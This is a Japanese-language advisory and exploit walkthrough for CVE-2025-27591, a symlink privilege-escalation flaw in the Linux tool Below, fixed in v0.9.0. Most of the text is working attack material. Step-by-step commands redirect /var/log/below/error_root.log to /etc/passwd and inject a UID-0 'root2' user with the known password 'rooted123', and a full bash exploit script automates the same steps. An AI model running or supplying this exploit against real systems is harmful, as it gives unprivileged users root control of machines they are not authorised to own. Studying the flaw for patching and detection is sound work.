
Below は、ハードウェア使用率や cgroup メトリクスなどのシステムデータを記録・表示する Linux ツールです。
v0.9.0 より前のバージョンでは、Below の systemd サービスが root 権限で実行され、/var/log/below 配下にワールド書き込み可能なログディレクトリとファイルを作成します。この安全でない設定により、シンボリックリンク攻撃 が可能となり、権限のないローカルユーザーが root に昇格できます。
本問題には CVE-2025-27591 が割り当てられました。
上流は v0.9.0 で修正しています。
/var/log/below におけるシンボリックリンク攻撃/var/log/below のパーミッションを 0777 にします。/var/log/below/error_root.log を 0666 パーミッションで作成します。/etc/passwd)へのシンボリックリンクに置き換える ことができます。この動作は、スティッキービットが適用されていないため、カーネルの protected_symlinks 強化をバイパスします。
error_root.log を /etc/passwd に向けることで、既知のパスワードを持つ新しい root ユーザーを注入できます。
Step 1: /etc/passwd のバックアップを作成する。
システムファイルを変更する前には必ずバックアップを取ってください:
cp /etc/passwd /tmp/passwd.bak
Step 2: 悪意のあるユーザーエントリを生成する
HASH=$(openssl passwd -6 'rooted123')
echo "root2:$HASH:0:0:root:/root:/bin/bash" > /tmp/payload
Step 3: 脆弱なログにシンボリックリンクを張る
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
Step 4: ログ作成をトリガーする
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
Step 5: /etc/passwd を上書きする
cat /tmp/payload > /var/log/below/error_root.log
Step 6: 新しい root ユーザーに切り替える
su root2
# パスワード: rooted123
#!/bin/bash
# CVE-2025-27591 Exploit - 'below' を介した権限昇格
TARGET="/etc/passwd"
LINK_PATH="/var/log/below/error_root.log"
TMP_PAYLOAD="/tmp/payload"
BACKUP="/tmp/passwd.bak"
echo "[*] CVE-2025-27591 権限昇格エクスプロイト"
# below への sudo アクセスを確認
echo "[*] sudo 権限を確認中..."
if ! sudo -l | grep -q '/usr/bin/below'; then
echo "[!] 'below' が sudo 経由で利用できません。終了します。"
exit 1
fi
# 現在の /etc/passwd をバックアップ
echo "[*] /etc/passwd を $BACKUP にバックアップ中"
cp /etc/passwd "$BACKUP"
# 'root2' ユーザーのパスワードハッシュを生成(パスワード: rooted123)
echo "[*] パスワードハッシュを生成中..."
HASH=$(openssl passwd -6 'rooted123')
# 悪意のある passwd 行を作成
echo "[*] 悪意のある passwd 行を作成中..."
echo "root2:$HASH:0:0:root:/root:/bin/bash" > "$TMP_PAYLOAD"
# シンボリックリンクを作成
echo "[*] $LINK_PATH を $TARGET にリンク中"
rm -f "$LINK_PATH"
ln -sf "$TARGET" "$LINK_PATH"
# 無効な --time でログ作成をトリガーし、below にログの再作成を強制
echo "[*] 'below' がシンボリックリンク先に書き込むようにトリガー中..."
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1
# シンボリックリンク経由で passwd ファイルを上書き
echo "[*] 悪意のあるユーザーを /etc/passwd に注入中"
cat "$TMP_PAYLOAD" > "$LINK_PATH"
# アクセステスト
echo "[*] パスワード 'rooted123' で 'root2' に切り替えを試行中"
su root2
